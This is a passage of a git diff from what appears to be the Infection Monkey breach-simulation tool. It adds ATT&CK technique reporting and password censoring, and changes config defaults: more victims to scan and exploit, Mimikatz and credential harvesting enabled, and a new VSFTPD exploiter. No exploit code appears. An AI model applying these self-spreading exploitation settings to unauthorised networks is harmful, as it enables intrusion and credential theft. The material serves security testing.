000000000..e164e8830 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -0,0 +1,117 @@ +import abc +import logging + +from monkey_island.cc.database import mongo +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.attack_config import AttackConfig +from common.utils.code_utils import abstractstatic + +logger = logging.getLogger(__name__) + + +class AttackTechnique(object): + """ Abstract class for ATT&CK report components """ + __metaclass__ = abc.ABCMeta + + @abc.abstractproperty + def unscanned_msg(self): + """ + :return: Message that will be displayed in case attack technique was not scanned. + """ + pass + + @abc.abstractproperty + def scanned_msg(self): + """ + :return: Message that will be displayed in case attack technique was scanned. + """ + pass + + @abc.abstractproperty + def used_msg(self): + """ + :return: Message that will be displayed in case attack technique was used by the scanner. + """ + pass + + @abc.abstractproperty + def tech_id(self): + """ + :return: Message that will be displayed in case of attack technique not being scanned. + """ + pass + + @staticmethod + @abstractstatic + def get_report_data(): + """ + :return: Report data aggregated from the database. + """ + pass + + @classmethod + def technique_status(cls): + """ + Gets the status of a certain attack technique. + :return: ScanStatus numeric value + """ + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): + return ScanStatus.USED.value + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): + return ScanStatus.SCANNED.value + else: + return ScanStatus.UNSCANNED.value + + @classmethod + def get_message_and_status(cls, status): + """ + Returns a dict with attack technique's message and status. + :param status: Enum from common/attack_utils.py integer value + :return: Dict with message and status + """ + return {'message': cls.get_message_by_status(status), 'status': status} + + @classmethod + def get_message_by_status(cls, status): + """ + Picks a message to return based on status. + :param status: Enum from common/attack_utils.py integer value + :return: message string + """ + if status == ScanStatus.UNSCANNED.value: + return cls.unscanned_msg + elif status == ScanStatus.SCANNED.value: + return cls.scanned_msg + else: + return cls.used_msg + + @classmethod + def technique_title(cls): + """ + :return: techniques title. E.g. "T1110 Brute force" + """ + return AttackConfig.get_technique(cls.tech_id)['title'] + + @classmethod + def get_tech_base_data(cls): + """ + Gathers basic attack technique data into a dict. + :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'} + """ + data = {} + status = cls.technique_status() + title = cls.technique_title() + data.update({'status': status, + 'title': title, + 'message': cls.get_message_by_status(status)}) + return data + + @classmethod + def get_base_data_by_status(cls, status): + data = cls.get_message_and_status(status) + data.update({'title': cls.technique_title()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py new file mode 100644 index 000000000..05cef3684 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -0,0 +1,46 @@ +from monkey_island.cc.encryptor import encryptor + + +def parse_creds(attempt): + """ + Parses used credentials into a string + :param attempt: login attempt from database + :return: string with username and used password/hash + """ + username = attempt['user'] + creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, + 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, + 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, + 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + for key, cred in creds.items(): + if attempt[key]: + return '%s ; %s : %s' % (username, + cred['type'], + cred['output']) + + +def censor_password(password, plain_chars=3, secret_chars=5): + """ + Decrypts and obfuscates password by changing characters to * + :param password: Password or string to obfuscate + :param plain_chars: How many plain-text characters should be kept at the start of the string + :param secret_chars: How many * symbols should be used to hide the remainder of the password + :return: Obfuscated string e.g. Pass**** + """ + if not password: + return "" + password = encryptor.dec(password) + return password[0:plain_chars] + '*' * secret_chars + + +def censor_hash(hash_, plain_chars=5): + """ + Decrypts and obfuscates hash by only showing a part of it + :param hash_: Hash to obfuscate + :param plain_chars: How many chars of hash should be shown + :return: Obfuscated string + """ + if not hash_: + return "" + hash_ = encryptor.dec(hash_) + return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py new file mode 100644 index 000000000..69f178e1c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -0,0 +1,53 @@ +import abc + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger +from common.utils.attack_utils import UsageEnum + + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + + @classmethod + def get_usage_data(cls): + """ + Gets data of usage attack telemetries + :return: parsed list of usages from attack telemetries of usage type + """ + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telemetries for a simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 5e423197f..c1b53e9ff 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -13,42 +13,40 @@ SCHEMA = { "enum": [ "SmbExploiter" ], - "title": "SMB Exploiter" + "title": "SMB Exploiter", + "attack_techniques": ["T1110", "T1075", "T1035"] }, { "type": "string", "enum": [ "WmiExploiter" ], - "title": "WMI Exploiter" + "title": "WMI Exploiter", + "attack_techniques": ["T1110", "T1106"] }, { "type": "string", "enum": [ "MSSQLExploiter" ], - "title": "MSSQL Exploiter" - }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)" + "title": "MSSQL Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "Ms08_067_Exploiter" ], - "title": "MS08-067 Exploiter (UNSAFE)" + "title": "MS08-067 Exploiter (UNSAFE)", + "attack_techniques": [] }, { "type": "string", "enum": [ "SSHExploiter" ], - "title": "SSH Exploiter" + "title": "SSH Exploiter", + "attack_techniques": ["T1110", "T1145", "T1106"] }, { "type": "string", @@ -83,7 +81,7 @@ SCHEMA = { "enum": [ "WebLogicExploiter" ], - "title": "Oracle Web Logic Exploiter" + "title": "WebLogic Exploiter" }, { "type": "string", @@ -91,6 +89,13 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter" } ] }, @@ -104,6 +109,15 @@ SCHEMA = { "BackdoorUser" ], "title": "Back door user", + "attack_techniques": [] + }, + { + "type": "string", + "enum": [ + "CommunicateAsNewUser" + ], + "title": "Communicate as new user", + "attack_techniques": [] }, ], }, @@ -116,14 +130,16 @@ SCHEMA = { "enum": [ "SMBFinger" ], - "title": "SMBFinger" + "title": "SMBFinger", + "attack_techniques": ["T1210"] }, { "type": "string", "enum": [ "SSHFinger" ], - "title": "SSHFinger" + "title": "SSHFinger", + "attack_techniques": ["T1210"] }, { "type": "string", @@ -144,14 +160,16 @@ SCHEMA = { "enum": [ "MySQLFinger" ], - "title": "MySQLFinger" + "title": "MySQLFinger", + "attack_techniques": ["T1210"] }, { "type": "string", "enum": [ "MSSQLFinger" ], - "title": "MSSQLFinger" + "title": "MSSQLFinger", + "attack_techniques": ["T1210"] }, { @@ -159,16 +177,30 @@ SCHEMA = { "enum": [ "ElasticFinger" ], - "title": "ElasticFinger" + "title": "ElasticFinger", + "attack_techniques": ["T1210"] } ] } }, "properties": { "basic": { - "title": "Basic - Credentials", + "title": "Basic - Exploits", "type": "object", "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "should_exploit": { + "title": "Exploit network machines", + "type": "boolean", + "default": True, + "attack_techniques": ["T1210"], + "description": "Determines if monkey should try to safely exploit machines on the network" + } + } + }, "credentials": { "title": "Credentials", "type": "object", @@ -305,6 +337,7 @@ SCHEMA = { "$ref": "#/definitions/post_breach_acts" }, "default": [ + "CommunicateAsNewUser" ], "description": "List of actions the Monkey will run post breach" }, @@ -357,7 +390,7 @@ SCHEMA = { "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", - "default": False, + "default": True, "description": "Should the monkey delete its executable when going down" }, "use_file_logging": { @@ -382,6 +415,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, + "attack_techniques": ["T1003"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -389,12 +423,14 @@ SCHEMA = { "title": "Collect system info", "type": "boolean", "default": True, + "attack_techniques": ["T1082", "T1005", "T1016"], "description": "Determines whether to collect system info" }, "should_use_mimikatz": { "title": "Should use Mimikatz", "type": "boolean", "default": True, + "attack_techniques": ["T1003"], "description": "Determines whether to use Mimikatz" }, } @@ -412,13 +448,13 @@ SCHEMA = { "victims_max_find": { "title": "Max victims to find", "type": "integer", - "default": 30, + "default": 100, "description": "Determines the maximum number of machines the monkey is allowed to scan" }, "victims_max_exploit": { "title": "Max victims to exploit", "type": "integer", - "default": 7, + "default": 15, "description": "Determines the maximum number of machines the monkey" " is allowed to successfully exploit. " + WARNING_SIGN @@ -465,17 +501,11 @@ SCHEMA = { "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" }, - "monkey_dir_windows": { - "title": "Monkey's windows directory", + "monkey_dir_name": { + "title": "Monkey's directory name", "type": "string", - "default": r"C:\Windows\temp\monkey_dir", - "description": "Directory containing all monkey files on windows" - }, - "monkey_dir_linux": { - "title": "Monkey's linux directory", - "type": "string", - "default": "/tmp/monkey_dir", - "description": "Directory containing all monkey files on linux" + "default": r"monkey_dir", + "description": "Directory name for the directory which will contain all of the monkey files" }, } }, @@ -558,14 +588,14 @@ SCHEMA = { "dropper_target_path_win_32": { "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey32.exe", + "default": "C:\\Windows\\temp\\monkey32.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " "(32bit)" }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", - "default": "C:\\Windows\\monkey64.exe", + "default": "C:\\Windows\\temp\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " "(64 bit)" }, @@ -722,7 +752,8 @@ SCHEMA = { "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -761,19 +792,6 @@ SCHEMA = { } } }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, "sambacry": { "title": "SambaCry", "type": "object", diff --git a/monkey/monkey_island/cc/services/configuration/__init__.py b/monkey/monkey_island/cc/services/configuration/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py new file mode 100644 index 000000000..34d6a9bb5 --- /dev/null +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.config import ConfigService + + +def get_config_network_segments_as_subnet_groups(): + return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py new file mode 100644 index 000000000..62e370e44 --- /dev/null +++ b/monkey/monkey_island/cc/services/database.py @@ -0,0 +1,31 @@ +import logging + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.attack.attack_config import AttackConfig +from monkey_island.cc.services.post_breach_files import remove_PBA_files +from flask import jsonify +from monkey_island.cc.database import mongo + + +logger = logging.getLogger(__name__) + + +class Database(object): + def __init__(self): + pass + + @staticmethod + def reset_db(): + remove_PBA_files() + # We can't drop system collections. + [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] + ConfigService.init_config() + AttackConfig.reset_config() + logger.info('DB was reset') + return jsonify(status='OK') + + @staticmethod + def init_db(): + if not mongo.db.collection_names(): + Database.reset_db() + diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py index eb23c3901..1622d5233 100644 --- a/monkey/monkey_island/cc/services/edge.py +++ b/monkey/monkey_island/cc/services/edge.py @@ -2,6 +2,7 @@ from bson import ObjectId from monkey_island.cc.database import mongo import monkey_island.cc.services.node +from monkey_island.cc.models import Monkey __author__ = "itay.mizeretz" @@ -141,15 +142,18 @@ class EdgeService: @staticmethod def get_edge_label(edge): NodeService = monkey_island.cc.services.node.NodeService - from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])) - if edge["to"] == ObjectId("000000000000000000000000"): + from_id = edge["from"] + to_id = edge["to"] + + from_label = Monkey.get_label_by_id(from_id) + + if to_id == ObjectId("000000000000000000000000"): to_label = 'MonkeyIsland' else: - to_id = NodeService.get_monkey_by_id(edge["to"]) - if to_id is None: - to_label = NodeService.get_node_label(NodeService.get_node_by_id(edge["to"])) + if Monkey.is_monkey(to_id): + to_label = Monkey.get_label_by_id(to_id) else: - to_label = NodeService.get_monkey_label(to_id) + to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id)) RIGHT_ARROW = u"\u2192" return "%s %s %s" % (from_label, RIGHT_ARROW, to_label) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index fa500aab5..8d174c82f 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -4,9 +4,11 @@ from bson import ObjectId import monkey_island.cc.services.log from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.utils import local_ip_addresses import socket +from monkey_island.cc import models __author__ = "itay.mizeretz" @@ -20,10 +22,6 @@ class NodeService: if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id(): return NodeService.get_monkey_island_node() - edges = EdgeService.get_displayed_edges_by_to(node_id, for_report) - accessible_from_nodes = [] - exploits = [] - new_node = {"id": node_id} node = NodeService.get_node_by_id(node_id) @@ -44,16 +42,29 @@ class NodeService: new_node["ip_addresses"] = node["ip_addresses"] new_node["domain_name"] = node["domain_name"] + accessible_from_nodes = [] + accessible_from_nodes_hostnames = [] + exploits = [] + + edges = EdgeService.get_displayed_edges_by_to(node_id, for_report) + for edge in edges: - accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))) + from_node_id = edge["from"] + from_node_label = Monkey.get_label_by_id(from_node_id) + from_node_hostname = Monkey.get_hostname_by_id(from_node_id) + + accessible_from_nodes.append(from_node_label) + accessible_from_nodes_hostnames.append(from_node_hostname) + for exploit in edge["exploits"]: - exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])) + exploit["origin"] = from_node_label exploits.append(exploit) exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp) new_node["exploits"] = exploits new_node["accessible_from_nodes"] = accessible_from_nodes + new_node["accessible_from_nodes_hostnames"] = accessible_from_nodes_hostnames if len(edges) > 0: new_node["services"] = edges[-1]["services"] else: @@ -66,7 +77,7 @@ class NodeService: def get_node_label(node): domain_name = "" if node["domain_name"]: - domain_name = " ("+node["domain_name"]+")" + domain_name = " (" + node["domain_name"] + ")" return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name @staticmethod @@ -104,11 +115,13 @@ class NodeService: @staticmethod def get_monkey_critical_services(monkey_id): - critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', []) + critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get( + 'critical_services', []) return critical_services @staticmethod def get_monkey_label(monkey): + # todo label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] ip_addresses = local_ip_addresses() if len(set(monkey["ip_addresses"]).intersection(ip_addresses)) > 0: @@ -123,7 +136,7 @@ class NodeService: monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey" monkey_os = NodeService.get_monkey_os(monkey) - monkey_running = "" if monkey["dead"] else "_running" + monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running" return "%s_%s%s" % (monkey_type, monkey_os, monkey_running) @staticmethod @@ -134,14 +147,18 @@ class NodeService: @staticmethod def monkey_to_net_node(monkey, for_report=False): - label = monkey['hostname'] if for_report else NodeService.get_monkey_label(monkey) + monkey_id = monkey["_id"] + label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id) + monkey_group = NodeService.get_monkey_group(monkey) return \ { - "id": monkey["_id"], + "id": monkey_id, "label": label, - "group": NodeService.get_monkey_group(monkey), + "group": monkey_group, "os": NodeService.get_monkey_os(monkey), - "dead": monkey["dead"], + # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT + # contain "_running". This is a small optimisation, to not call "is_dead" twice. + "dead": "_running" not in monkey_group, "domain_name": "", "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] } @@ -243,6 +260,12 @@ class NodeService: {'$set': props_to_set}, upsert=False) + @staticmethod + def add_communication_info(monkey, info): + mongo.db.monkey.update({"guid": monkey["guid"]}, + {"$set": {'command_control_channel': info}}, + upsert=False) + @staticmethod def get_monkey_island_monkey(): ip_addresses = local_ip_addresses() @@ -293,7 +316,8 @@ class NodeService: @staticmethod def is_any_monkey_alive(): - return mongo.db.monkey.find_one({'dead': False}) is not None + all_monkeys = models.Monkey.objects() + return any(not monkey.is_dead() for monkey in all_monkeys) @staticmethod def is_any_monkey_exists(): @@ -303,10 +327,6 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() - @staticmethod - def get_latest_modified_monkey(): - return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) - @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py similarity index 95% rename from monkey/monkey_island/cc/resources/aws_exporter.py rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py index 7e1f17c48..84940df56 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from monkey_island.cc.resources.exporter import Exporter +from monkey_island.cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] @@ -58,7 +58,6 @@ class AWSExporter(Exporter): 'wmi_password': AWSExporter._handle_wmi_password_issue, 'wmi_pth': AWSExporter._handle_wmi_pth_issue, 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'rdp': AWSExporter._handle_rdp_issue, 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, @@ -305,20 +304,6 @@ class AWSExporter(Exporter): instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) - @staticmethod - def _handle_rdp_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), - instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None - ) - @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py similarity index 100% rename from monkey/monkey_island/cc/resources/exporter.py rename to monkey/monkey_island/cc/services/reporting/exporter.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py similarity index 60% rename from monkey/monkey_island/cc/exporter_init.py rename to monkey/monkey_island/cc/services/reporting/exporter_init.py index fdf26fe8f..bd4e82f3e 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,16 +1,16 @@ import logging -from monkey_island.cc.report_exporter_manager import ReportExporterManager -from monkey_island.cc.resources.aws_exporter import AWSExporter +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService - +from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) def populate_exporter_list(): manager = ReportExporterManager() RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws(): + if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): manager.add_exporter_to_list(AWSExporter) if len(manager.get_exporters_list()) != 0: diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py similarity index 95% rename from monkey/monkey_island/cc/services/pth_report.py rename to monkey/monkey_island/cc/services/reporting/pth_report.py index 93fd51989..9f3b9769f 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -1,6 +1,7 @@ from itertools import product from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from bson import ObjectId from monkey_island.cc.services.groups_and_users_consts import USERTYPE @@ -216,15 +217,15 @@ class PTHReportService(object): @staticmethod def generate_map_nodes(): - monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1}) + monkeys = filter(lambda m: m.get_os() == "windows", Monkey.objects()) return [ { - 'id': monkey['_id'], - 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]), - 'group': 'critical' if monkey.get('critical_services', []) else 'normal', - 'services': monkey.get('critical_services', []), - 'hostname': monkey['hostname'] + 'id': monkey.guid, + 'label': '{0} : {1}'.format(monkey.hostname, monkey.ip_addresses[0]), + 'group': 'critical' if monkey.critical_services is not None else 'normal', + 'services': monkey.critical_services, + 'hostname': monkey.hostname } for monkey in monkeys ] diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/reporting/report.py similarity index 88% rename from monkey/monkey_island/cc/services/report.py rename to monkey/monkey_island/cc/services/reporting/report.py index a19dc03c0..0d2b6858d 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -1,26 +1,27 @@ -import itertools import functools - -import ipaddress +import itertools import logging +import ipaddress from bson import json_util from enum import Enum - from six import text_type +from common.network.network_range import NetworkRange +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo -from monkey_island.cc.report_exporter_manager import ReportExporterManager +from monkey_island.cc.models import Monkey from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.pth_report import PTHReportService +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report from monkey_island.cc.utils import local_ip_addresses, get_subnets -from pth_report import PTHReportService -from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" - logger = logging.getLogger(__name__) @@ -33,7 +34,6 @@ class ReportService: 'SmbExploiter': 'SMB Exploiter', 'WmiExploiter': 'WMI Exploiter', 'SSHExploiter': 'SSH Exploiter', - 'RdpExploiter': 'RDP Exploiter', 'SambaCryExploiter': 'SambaCry Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', @@ -41,7 +41,8 @@ class ReportService: 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter' + 'MSSQLExploiter': 'MSSQL Exploiter', + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' } class ISSUES_DICT(Enum): @@ -56,8 +57,9 @@ class ReportService: STRUTS2 = 8 WEBLOGIC = 9 HADOOP = 10 - PTH_CRIT_SERVICES_ACCESS = 11, + PTH_CRIT_SERVICES_ACCESS = 11 MSSQL = 12 + VSFTPD = 13 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -115,22 +117,17 @@ class ReportService: @staticmethod def get_scanned(): - formatted_nodes = [] - nodes = \ - [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ - + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in - mongo.db.monkey.find({}, {'_id': 1})] + nodes = ReportService.get_all_displayed_nodes() + for node in nodes: + nodes_that_can_access_current_node = node['accessible_from_nodes_hostnames'] formatted_nodes.append( { 'label': node['label'], 'ip_addresses': node['ip_addresses'], - 'accessible_from_nodes': - list((x['hostname'] for x in - (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), + 'accessible_from_nodes': nodes_that_can_access_current_node, 'services': node['services'], 'domain_name': node['domain_name'], 'pba_results': node['pba_results'] if 'pba_results' in node else 'None' @@ -140,25 +137,37 @@ class ReportService: return formatted_nodes + @staticmethod + def get_all_displayed_nodes(): + nodes_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in + mongo.db.node.find({}, {'_id': 1})] + nodes_with_monkeys = [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in + mongo.db.monkey.find({}, {'_id': 1})] + nodes = nodes_without_monkeys + nodes_with_monkeys + return nodes + @staticmethod def get_exploited(): - exploited = \ + exploited_with_monkeys = \ [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in - mongo.db.monkey.find({}, {'_id': 1}) - if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))] \ - + [NodeService.get_displayed_node_by_id(node['_id'], True) - for node in mongo.db.node.find({'exploited': True}, {'_id': 1})] + mongo.db.monkey.find({}, {'_id': 1}) if + not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))] + + exploited_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in + mongo.db.node.find({'exploited': True}, {'_id': 1})] + + exploited = exploited_with_monkeys + exploited_without_monkeys exploited = [ { - 'label': monkey['label'], - 'ip_addresses': monkey['ip_addresses'], - 'domain_name': monkey['domain_name'], + 'label': exploited_node['label'], + 'ip_addresses': exploited_node['ip_addresses'], + 'domain_name': exploited_node['domain_name'], 'exploits': list(set( - [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if - exploit['result']])) + [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in exploited_node['exploits'] + if exploit['result']])) } - for monkey in exploited] + for exploited_node in exploited] logger.info('Exploited nodes generated for reporting') @@ -169,7 +178,7 @@ class ReportService: PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} creds = [] for telem in mongo.db.telemetry.find( - {'telem_type': 'system_info_collection', 'data.credentials': {'$exists': True}}, + {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['credentials'] @@ -197,7 +206,7 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}}, {'data.ssh_info': 1, 'monkey_guid': 1} ): origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] @@ -205,8 +214,9 @@ class ReportService: # Pick out all ssh keys not yet included in creds ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', 'origin': origin} for key_pair in telem['data']['ssh_info'] - if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', - 'origin': origin} not in creds] + if + 